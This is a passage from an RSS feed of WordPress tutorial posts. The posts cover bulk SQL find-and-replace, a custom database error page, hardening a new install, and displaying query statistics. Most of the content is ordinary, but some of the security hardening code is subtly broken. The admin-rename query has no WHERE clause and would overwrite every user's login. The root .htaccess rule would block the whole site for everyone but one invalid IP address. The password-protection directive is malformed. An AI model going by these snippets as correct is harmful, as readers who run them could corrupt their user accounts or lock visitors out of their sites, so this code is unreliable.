<p>Bam! Just like that, we have removed all of those silly <code>nofollow</code> attributes throughout our entire site <strong>without affecting anything else</strong>. It&rsquo;s as if they never existed in the first place. So much power!&nbsp;;)</p>
<p>How does it work? Easy: each command is saying, &ldquo;replace all matches in the <code>post_content</code> field with exactly nothing.&rdquo; As far as I know, there is no way to combine these queries into a single command, so if there are any <acronym title="Structured Query Language">SQL</acronym> wizards reading, please enlighten.</p>
<p>As you may guess, the general pattern for <strong>removing</strong> any text string from all post content in the database looks like this:</p>
<pre><code>UPDATE wp_posts SET post_content = REPLACE ( post_content, 'text to be replaced', '' );</code></pre>
<p>And from here, we can just as easily <em>replace</em> any matching text..</p>
<h3>Replace all instances of a given text string</h3>
<p>Lastly, let&rsquo;s look at how to replace our text string with some different text. We&rsquo;re actually using the same query as in the previous section, only instead of empty quotes in the second argument, we&rsquo;re going to add our replacement text.</p>
<p>Let&rsquo;s say that, instead of deleting our <code>nofollow</code> attributes, we want to replace them with &ldquo;<strong>do</strong>follow&rdquo;. We wouldn&rsquo;t actually do this on a production site because <code>dofollow</code> is not a valid value for the <code>rel</code> attribute. But for the sake of our hypothetical, let&rsquo;s just do it anyway. Here&rsquo;s how it looks:</p>
<pre><code>UPDATE wp_posts SET post_content = REPLACE ( post_content, 'nofollow ', 'dofollow ' );
UPDATE wp_posts SET post_content = REPLACE ( post_content, ' nofollow', ' dofollow' );
UPDATE wp_posts SET post_content = REPLACE ( post_content, ' rel="nofollow', ' rel="dofollow' );</code></pre>
<p>Same idea as before, only now we can see that <em>anything</em> can be used for the replacement text, even imaginary attribute values&nbsp;;)</p>
<p>And finally, here is the general formula for <strong>replacing</strong> post content via <acronym title="Structured Query Language">SQL</acronym>:</p>
<pre><code>UPDATE wp_posts SET post_content = REPLACE ( post_content, 'text to be replaced', 'replacement text' );</code></pre>
<p>And of course keep in mind that this query may be modified as explained in the article to search for, remove, and replace any content &ndash; markup, text, special characters &ndash; in your WordPress database. For site admins and serious bloggers, this is an excellent way to speed up maintenance and get things done.</p>
<p>Of course, there&rsquo;s probably a plugin that will do all of this for you&nbsp;;)</p>
<hr />
<p><small>© 2010 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2010/03/remove-replace-content-wordpress-database/">Permalink</a> | <a href="http://digwp.com/2010/03/remove-replace-content-wordpress-database/#comments">8 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2010/03/remove-replace-content-wordpress-database/&title=Remove/Replace Content from the WordPress Database">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/database/" rel="tag">database</a>, <a href="http://digwp.com/tag/nofollow/" rel="tag">nofollow</a>, <a href="http://digwp.com/tag/sql/" rel="tag">sql</a>, <a href="http://digwp.com/tag/tips/" rel="tag">tips</a>, <a href="http://digwp.com/tag/tricks/" rel="tag">tricks</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2010/03/remove-replace-content-wordpress-database/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Create a Custom Database Error Page in WordPress</title>
		<link>http://digwp.com/2009/11/custom-database-error-page/</link>
		<comments>http://digwp.com/2009/11/custom-database-error-page/#comments</comments>
		<pubDate>Mon, 30 Nov 2009 19:12:46 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[errors]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=992</guid>
		<description><![CDATA[As a dynamic blogging system, WordPress consists of PHP files (the WP core) that interact with a MySQL database to generate the web pages for your website. When everything is working properly, this dynamic interaction keeps WordPress humming along like a champ, but when your database crashes, WordPress can&#8217;t operate and will deliver the following [...]]]></description>
			<content:encoded><![CDATA[<p>As a dynamic blogging system, WordPress consists of <acronym title="PHP: Hypertext Preprocessor">PHP</acronym> files (the WP core) that interact with a <acronym title="My Structured Query Language">MySQL</acronym> database to generate the web pages for your website. When everything is working properly, this dynamic interaction keeps WordPress humming along like a champ, but when your database crashes, WordPress can&rsquo;t operate and will deliver the following message to your visitors:</p>
<p><img src="http://digwp.com/wp-content/blog-images/database-error.gif" alt="[ Screenshot: Default WordPress Database Error Message ]" /></p>
<p>The question is, could this information help an attacker who has targeted your site? This type of specific information should be going to <strong>you</strong>, the site administrator &#8212; not announced to the entire world. Besides, that message really isn&rsquo;t helping anyone. To the average visitor, it just means the site is borked and that it&rsquo;s time to move on to someplace else. And to you, the site Admin, the default error message doesn&rsquo;t mean anything unless you&rsquo;re lucky enough to be sitting there looking at your site when it happens. I think it&rsquo;s safe to say that the default database error message:</p>
<ul>
<li>is ugly</li>
<li>is useless to visitors</li>
<li>is useless to site admins</li>
<li>reveals sensitive information</li>
</ul>
<p><span id="more-992"></span></p>
<p>Fortunately, we can improve on all these areas by creating and implementing <strong>our own</strong> custom database error page. In this article, you&rsquo;ll learn how to setup your own error page and add some server-side functionality that will improve your ability to respond to database problems as soon as they happen.</p>
<h3>How it works</h3>
<p>Basically, it all happens automatically: whenever WordPress is unable to connect to the database, it will check for the presence of your custom error page and then serve it up to your visitors; otherwise, if a custom error page is <strong>not</strong> present, the default error page is displayed. It&rsquo;s <em>that</em> simple.</p>
<h3>How to set it up</h3>
<p>To create your own database error page, simply create your custom page, name it &ldquo;<code>db-error.php</code>&rdquo;, and upload it to the <code>wp-content</code> directory like so:</p>
<pre><code>wp-content/db-error.php</code></pre>
<p>That&rsquo;s pretty much all there is to it. Most of the action happens behind the scenes depending on how you set things up. Because this is an actual <acronym title="PHP: Hypertext Preprocessor">PHP</acronym> file, you can implement just about any non-database functionality, along with whatever markup and <acronym title="Cascading Style Sheets">CSS</acronym> you desire.</p>
<p>So, now that we know the dark secrets that make this work, let&rsquo;s look at an actual example..</p>
<h3>An actual example of a custom database error page</h3>
<p>Here is the code that I use at <a href="http://perishablepress.com/" title="Perishable Press: Digital Design and Dialogue">Perishable Press</a>:</p>
<pre><code>&lt;?php // custom WordPress database error page tutorial @ digwp.com

	header('HTTP/1.1 503 Service Temporarily Unavailable');
	header('Status: 503 Service Temporarily Unavailable');
	header('Retry-After: 3600'); // 1 hour = 3600 seconds
	mail("spamless@domain.tld", "Database Error", "There is a problem with teh database!", "From: Montgomery Scott");

?&gt;
&lt;!DOCTYPE HTML&gt;
&lt;html dir="ltr" lang="en-US"&gt;
	&lt;head&gt;
		&lt;title&gt;503 Service Temporarily Unavailable&lt;/title&gt;
		&lt;style type="text/css"&gt;
			h1, p {
				font-family: Helvetica, sans-serif;
				font-size: 24px;
				color: #333;
				}
			p {
				font-size: 14px;
				}
		&lt;/style&gt;
	&lt;/head&gt;
	&lt;body&gt;
		&lt;h1&gt;Captain, the ship can&amp;rsquo;t take much more of this!&lt;/h1&gt;
		&lt;p&gt;Perishable Press is currently experiencing technical issues &amp;mdash; Please check back soon!&lt;/p&gt;
	&lt;/body&gt;
&lt;/html&gt;</code></pre>
<p>Simple, yes, but more effective than the default error page at facilitating a rapid response. Again, because this is a regular <acronym title="PHP: Hypertext Preprocessor">PHP</acronym> file, we can do just about anything with it &#8212; more functionality, elaborate design, etc. &#8212; but before we look at some ideas, let&rsquo;s browse the basics of this file:</p>
<h4>The <acronym title="PHP: Hypertext Preprocessor">PHP</acronym> (before the markup)</h4>
<ul>
<li>Send a 503 <em>server</em> response to let the client know that they should try back later</li>
<li>Send a 503 <em>status</em> response to let the client know that they should try back later</li>
<li>Send a <code>Retry-After</code> header to tell the client <em>when</em> to try again (specified in seconds)</li>
<li>Send an email to the site admin letting them know that &ldquo;There is a problem with teh database!&rdquo;</li>
</ul>
<h4>The <acronym title="Hypertext Markup Language">HTML</acronym> markup</h4>
<ul>
<li><acronym title="Hypertext Markup Language">HTML</acronym> 5, baby!</li>
<li>Give it a title, might as well call it what it is</li>
<li>Add some <acronym title="Cascading Style Sheets">CSS</acronym> to make it all sweet</li>
<li>Throw down some custom markup and tell the user what&rsquo;s up</li>
</ul>
<p>From here, you can do just about anything. The <acronym title="PHP: Hypertext Preprocessor">PHP</acronym> stuff is important to let robots and yourself know about the issue, and the markup is important for your human guests. For them, you may integrate your site&rsquo;s design as much (or as little) as desired. There really is no reason to get <em>too</em> fancy because ideally the page will be displayed for only a brief period. But I suppose if you&rsquo;re hosted on a crappy server you may want to pimp it out more fully&nbsp;;)</p>
<p>In any case, here are some more ideas and tips for customizing your own database error page:</p>
<ul>
<li>Make it more official with your logo and other branding embellishments</li>
<li>Link to some useful resources, perhaps some static stuff not dependent on the database (RSS Feed?)</li>
<li>Don&rsquo;t disclose the specific issue (i.e., database) &#8212; keep it general, like &ldquo;technical issues&rdquo; or whatever</li>
<li>If your database is down for awhile, save some bandwidth by keeping this file as small and optimized as possible</li>
</ul>
<h3>It would be so cool if..</h3>
<p>As it currently stands, this custom database error page is going to send you an email <em>every</em> single time <em>any</em> WordPress page is requested while the database is down. Especially for highly trafficked sites, this could result in thousands of emails flowing into your inbox. On smaller sites, this isn&rsquo;t really that big of an issue, but for larger sites it would be cool to get a script that would <strong>send only one email</strong> for each time the database went down. One way to do this would be to use <code>fwrite</code> to alter a static file with some specific text and then check for it before sending the next email, but this would require all sorts of fiddling that seems extraneous. I&rsquo;m sure there is a better way of doing it.</p>
<h3>Last words</h3>
<p>Hopefully this post gives you some ideas of what&rsquo;s possible with your own custom database error pages. It&rsquo;s nice that WordPress makes them so easy to set up and customize. Even better, because the <code>db-error.php</code> page is located in the <code>wp-content</code> directory, it is not modified or removed during the upgrade process. So just fix it and forget it. Definitely worthwhile to improve your site&rsquo;s overall visitor experience.</p>
<hr />
<p><small>© 2009 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2009/11/custom-database-error-page/">Permalink</a> | <a href="http://digwp.com/2009/11/custom-database-error-page/#comments">17 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2009/11/custom-database-error-page/&title=Create a Custom Database Error Page in WordPress">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/database/" rel="tag">database</a>, <a href="http://digwp.com/tag/errors/" rel="tag">errors</a>, <a href="http://digwp.com/tag/security/" rel="tag">Security</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2009/11/custom-database-error-page/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>How to Secure Your New WordPress Installation</title>
		<link>http://digwp.com/2009/11/how-to-secure-your-new-wordpress-installation/</link>
		<comments>http://digwp.com/2009/11/how-to-secure-your-new-wordpress-installation/#comments</comments>
		<pubDate>Mon, 09 Nov 2009 19:07:30 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[database]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=903</guid>
		<description><![CDATA[One of the best ways to ensure strong security for your WordPress-powered site is to secure its foundations during the installation process. Of course these techniques can be implemented at any point during the life of your site, but stetting them before the game starts prevents headaches and saves time. We&#8217;ll start with the WordPress [...]]]></description>
			<content:encoded><![CDATA[<p>One of the best ways to ensure strong security for your WordPress-powered site is to secure its foundations during the installation process. Of course these techniques can be implemented at any point during the life of your site, but stetting them <strong>before the game starts</strong> prevents headaches and saves time. We&rsquo;ll start with the WordPress database..</p>
<h3>Step 1 &#8211; Setting up a secure database</h3>
<p>Because the database is associated with virtually everything you do on your site, it is best to perform any modifications before configuring your options, installing plugins, and adding options. During the installation process, there are some effective ways of increasing the overall security of your WordPress site.</p>
<p><span id="more-903"></span></p>
<p>One of the first things that you can do to bolster security is to setup a proper database, user, and password. First, create the table that will be used for your WordPress installation:</p>
<pre><code>CREATE DATABASE `wordpress`;</code></pre>
<p>Now we need a user to go with that database. The key here is to create a user with only the required permissions. Enter the following SQL query to create a user that will have access only to the <code>wordpress</code> from the local server:</p>
<pre><code>GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP ON wordpress.* TO 'wpuser'@'localhost'
IDENTIFIED BY 'password';</code></pre>
<p>By requiring that the user access the database from the local server only, we mitigate the possibility of remote database attacks. Further, by granting the user access to only the <code>wordpress</code> database, we ensure that other databases will remain safe should an attacker gain access.</p>
<p>Once the database and user have been setup, install WordPress as normal and continue with the next step.</p>
<h3>Step 2 &#8211; Setting up a secure configuration file</h3>
<p>There are two things we want to do with the <code>wp-config.php</code> file: implement Authentication Unique Keys and change the default database prefix. Let&rsquo;s do it..</p>
<h4>Implement Authentication Unique Keys</h4>
<p>Directly after your MySQL database credentials in the <code>wp-config.php</code> file, you have the option of specifying a set of Authentication Unique Keys. These keys improve WordPress&rsquo; authentication system, providing strong security to your site. It is highly recommended that you take advantage of this feature.</p>
<pre><code>/**#@+
 * Authentication Unique Keys.
 *
 * Change these to different unique phrases!
 * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/ WordPress.org secret-key service}
 * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define('AUTH_KEY', 'put your unique phrase here');
define('SECURE_AUTH_KEY', 'put your unique phrase here');
define('LOGGED_IN_KEY', 'put your unique phrase here');
define('NONCE_KEY', 'put your unique phrase here');
/**#@-*/</code></pre>
<p>To do so, visit the official <a href="https://api.wordpress.org/secret-key/1.1/" title="WordPress.org secret-key service">secret-key generation service</a> and paste the results into your <code>config.php</code> file (replace the four lines beginning with &ldquo;<code>define</code>&rdquo;).</p>
<p>While you are you setting up the WordPress configuration file, you also may want to go ahead and <a href="http://digwp.com/2009/07/optimize-wordpress-performance-with-the-wp-config-php-file/" title="Optimize WordPress Performance with the wp-config.php File">optimize performance</a> and implement some other choice <a href="http://digwp.com/2009/06/wordpress-configuration-tricks/" title="WordPress Configuration Tricks">configuration tricks</a>.</p>
<h4>Change the default database table prefix</h4>
<p>While in your <code>wp-config.php</code> file, take a few moments to change your default database table prefix. By default, it&rsquo;s &ldquo;<code>wp_</code>&rdquo;, but this is a well-known fact of which attackers and automated scripts take full advantage. By changing the table prefix to something unknown/random, you are using security through obscurity to help mitigate <acronym title="Structured Query Language">SQL</acronym>-injection threats.</p>
<pre><code>/**
 * WordPress Database Table prefix.
 *
 * You can have multiple installations in one database if you give each a unique
 * prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';</code></pre>
<p>In your <code>wp-config.php</code> file, locate the above lines and change the table prefix to something random or difficult to guess. I like to include the letters &ldquo;<code>wp</code>&rdquo; within the new prefix to help me identify tables specific to WordPress. For example, I might change it to something like, &ldquo;<code>wp_i337</code>&rdquo;.</p>
<h3>Step 3 &#8211; Setting up a secure administration</h3>
<p>Once you have finished with your database and configuration file, it&rsquo;s time to setup a secure WordPress Admin area. We can do this by changing the default Admin username and protecting the <code>wp-admin</code> directory.</p>
<h4>changing the default Admin username</h4>
<p>By default, all WordPress installations have a default Admin username of, creatively enough, &ldquo;admin&rdquo;. As with the default database prefix, this fact is well-known to attackers, who target the admin account with password brute-force attacks. Thus, changing the username of your Admin account will help mitigate this potential vulnerability. To do so, execute the following <acronym title="Structured Query Language">SQL</acronym> query on your WordPress database via phpMyAdmin:</p>
<pre><code>UPDATE wp_users SET user_login = 'admin', user_login = 'digwp';</code></pre>
<p>Your default Admin username is now changed to whatever you specified in the query. In this example, your new username will be &ldquo;digwp&rdquo;, so you will probably want to change it to something that is more difficult to guess.</p>
<p>Additionally, make sure that the password for the Admin account is as strong as possible. Use a random mix of uppercase and lowercase letters, and throw in a few underscores and numbers for good measure.<br />
Â </p>
<h4>Protecting the wp-admin directory</h4>
<p>All of the administrative files for your WordPress site are contained in the <code>wp-admin</code> directory. By protecting this directory against unauthorized access, we greatly strengthen the security of our site. Depending on your particular needs, there are at least two ways to go about doing this. Let&rsquo;s look at each of them.</p>
<p><strong>Allow open access only to specific addresses</strong></p>
<p>This method uses a few choice <acronym title="Hypertext Access">HTAccess</acronym> directives placed in your site&rsquo;s root <code>.</code><code>htaccess</code> file:</p>
<pre><code># SECURE WP-ADMIN
&lt;FilesMatch ".*"&gt;
 Order Deny,Allow
 Deny from all
 Allow from 123.456.789
&lt;/FilesMatch&gt;</code></pre>
<p>Once in place, this code will deny access to all visits from any <acronym title="Internet Protocol">IP</acronym> address that is not listed. Simply edit the &ldquo;<code>Allow from</code>&rdquo; line with your actual address, and create additional lines for multiple <acronym title="Internet Protocol">IP</acronym>s. You can then check that it&rsquo;s working by visiting your Admin area via proxy service. This is an effective way of protecting your <code>wp-admin</code> directory, but you may prefer using a password-based method instead..</p>
<p><strong>Password-protect</strong></p>
<p>Another option for securing your Admin area involves implementing secondary password protection via basic <acronym title="Hypertext Transfer Protocol">HTTP</acronym> authentication. This is an excellent way to lock things down while still enabling access by anyone with the password from anywhere on the Web. To set it up, we need to create a text file with your desired username/password, and then require the username and password via <code>.</code><code>htaccess</code> file.</p>
<p>For the username/password text file, use a <a href="http://www.4webhelp.net/us/password.php" title="4WebHelp's online .htpasswd encryption tool">password-generation service</a> and paste the results into a file named &ldquo;<code>.</code><code>htpasswd</code>&rdquo; (without the quotes!) and place it in a secure location on your server, preferably above your &#8220;public_html&#8221; or root-web directory.</p>
<p>Once the password file is in place, create an <code>.</code><code>htaccess</code> file for your <code>wp-admin</code> directory and add the following code:</p>
<pre><code># SECURE LOGIN PAGE
&lt;IfModule mod_auth.c&gt;
 AuthUserFile /full/path/.htpasswd
 AuthType Basic
 AuthName "Password Required!"
 Require username
&lt;/IfModule&gt;</code></pre>
<p>After editing the username and full server path to your password file, you&rsquo;re good to go. Make sure to test that everything is working before cracking a beer.</p>
<h4>Important note about protecting wp-admin</h4>
<p>As you implement this method, keep in mind that the <code>wp-admin</code> directory is used by a number of plugins, scripts, and even users. For example, if you allow open registration to your visitors, they will be unable to access the registration pages if your admin directory is blocked. Another good example is the <a href="http://wordpress.org/extend/plugins/subscribe-to-comments/">Subscribe to Comments</a> plugin, which provides an admin page through which users may unsubscribe to comments. This ain&rsquo;t gonna work if they can&rsquo;t access the admin area.</p>
<h3>Just the beginning..</h3>
<p>Of course, when it comes to the security of your WordPress site, these techniques are merely the beginning. As you continue in your WordPress travels, you will discover many, many more ways to increase the security of your site. By implementing the methods presented in this article during the setup process, you will be strengthening the security of your site&rsquo;s foundation, providing yourself a solid platform on which to build.</p>
<hr />
<p><small>© 2009 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2009/11/how-to-secure-your-new-wordpress-installation/">Permalink</a> | <a href="http://digwp.com/2009/11/how-to-secure-your-new-wordpress-installation/#comments">32 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2009/11/how-to-secure-your-new-wordpress-installation/&title=How to Secure Your New WordPress Installation">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/database/" rel="tag">database</a>, <a href="http://digwp.com/tag/security/" rel="tag">Security</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2009/11/how-to-secure-your-new-wordpress-installation/feed/</wfw:commentRss>
		<slash:comments>32</slash:comments>
		</item>
		<item>
		<title>Show Off Your WordPress Database Statistics</title>
		<link>http://digwp.com/2009/08/show-off-your-wordpress-database-statistics/</link>
		<comments>http://digwp.com/2009/08/show-off-your-wordpress-database-statistics/#comments</comments>
		<pubDate>Mon, 03 Aug 2009 06:08:45 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[footer]]></category>
		<category><![CDATA[statistics]]></category>
		<category><![CDATA[tricks]]></category>

		<guid isPermaLink="false">http://diggingintowordpress.com/?p=106</guid>
		<description><![CDATA[Did you know that WordPress makes it super-easy to display some basic statistics about your database performance? The information may be displayed publicly on your web page, slightly hidden in your source code, or entirely private so only you can see it. There are two basic statistics that are drop-dead easy to include on your [...]]]></description>
			<content:encoded><![CDATA[<p>Did you know that WordPress makes it super-easy to display some basic statistics about your database performance? The information may be displayed publicly on your web page, slightly hidden in your source code, or entirely private so only you can see it. There are two basic statistics that are drop-dead easy to include on your pages:</p>
<ul>
<li>The number of database queries that your page is making</li>
<li>How many seconds it took your server to complete those queries</li>
</ul>
<p>The number of database queries is generated from the following WordPress template tag:</p>
<p><code>&lt;?php echo get_num_queries(); ?&gt;</code></p>
<p><span id="more-106"></span></p>
<p>This is a very straightforward, parameter-less function that will output the number of database queries required to generate all of the dynamic content on your page. Then, the amount of time required to complete those &ldquo;x&rdquo; number of queries is provided by this template tag:</p>
<p><code>&lt;?php timer_stop(7); ?&gt;</code></p>
<p>As shown here, this function accepts a parameter that specifies the number of significant digits to be used for the output. Here, the number &ldquo;<code>7</code>&rdquo; tells the function to output the query-processing time to seven digits of accuracy. So we would see a number like this:</p>
<p><code>.0173788</code></p>
<p>When used together, these two WordPress functions provide an instant snapshot into the basic performance of your web pages. Here is an example of the statistical output generated by these tags working together:</p>
<p><code>33 queries in 0.333 seconds</code></p>
<p>Many of you have probably seen this information while snooping around the far corners of your favorite websites. Lots of people use this code, although not everybody uses it the same way. Here are three great techniques for including this information on your site.</p>
<p><strong>Show it off publicly</strong><br />If you are particularly proud of your server&rsquo;s performance and would like to show off these stats to your visitors, place the following code into the footer or sidebar of your active theme:</p>
<pre><code>&lt;p&gt;&lt;?php echo get_num_queries(); ?&gt; queries in &lt;?php timer_stop(1,3); ?&gt; seconds&lt;/p&gt;</code></pre>
<p><strong>Display it under the hood</strong><br />If you would rather not clutter your design with extraneous information, but still want to keep an eye on these stats, you can &ldquo;comment out&rdquo; the output string so that it only appears as a comment in the source code of your web pages. To do so, place this code in your theme&rsquo;s footer.php file:</p>
<pre><code>&lt;!-- &lt;?php echo get_num_queries(); ?&gt; queries in &lt;?php timer_stop(1,3); ?&gt; seconds --&gt;</code></pre>
<p><strong>Keep it private</strong><br />Last but not least, if you don&rsquo;t like the idea of sharing this information with the entire world, you can limit its display to logged-in administrators only with the following code:</p>
<pre><code>&lt;?php if (current_user_can('level_10')) {

	echo '&lt;!-- ' . get_num_queries() . ' queries in ' . timer_stop(0,3) . ' seconds --&gt;';

} ?&gt;</code></pre>
<p>This tells WordPress to check if the current user is an Administrator (i.e., Level-10 privileges) and if so output the statistical information to the web page. Here we have restricted the display of this information to the source code, but you can change this to display on the page itself by replacing the &ldquo;<code>&lt;!-- </code>&rdquo; and &ldquo;<code> --&gt;</code>&rdquo; with &ldquo;<code>&lt;p&gt;</code>&rdquo; and &ldquo;<code>&lt;/p&gt;</code>&rdquo;, respectively.</p>
<p><strong>Update:</strong> note that there are two ways to display the <code>timer_stop</code> output on the page. The <code>timer_stop()</code> function actually accepts two parameters, <code>$display</code> and <code>$precision</code>. Here are their default values:</p>
<pre><code>&lt;?php timer_stop($display = 0, $precision = 3) ?&gt;</code></pre>
<p>As you might guess, <code>$display</code> is an integer that determines whether or not the function outputs the results to the web page (<code>1</code> for output, <code>0</code> for no output). Thus, you may either use <code>0</code> for the <code>$display</code> parameter and explicitly <code>echo</code> the results; or else you may use <code>1</code> for the <code>$display</code> parameter and omit the explicit <code>echo</code>.</p>
<p>You can see the latter method in the first two examples in this post, and the former in the third. Thanks to <a href="http://www.rarst.net/" title="rarst.net">Rarst</a> for <a href="#comment-1075" title="Jump to original comment">pointing this out</a>&nbsp;:)</p>
<hr />
<p><small>© 2009 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2009/08/show-off-your-wordpress-database-statistics/">Permalink</a> | <a href="http://digwp.com/2009/08/show-off-your-wordpress-database-statistics/#comments">26 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2009/08/show-off-your-wordpress-database-statistics/&title=Show Off Your WordPress Database Statistics">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/database/" rel="tag">database</a>, <a href="http://digwp.com/tag/footer/" rel="tag">footer</a>, <a href="http://digwp.com/tag/statistics/" rel="tag">statistics</a>, <a href="http://digwp.com/tag/tricks/" rel="tag">tricks</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2009/08/show-off-your-wordpress-database-statistics/feed/</wfw:commentRss>
		<slash:comments>26</slash:comments>
		</item>
	</channel>
</rss>

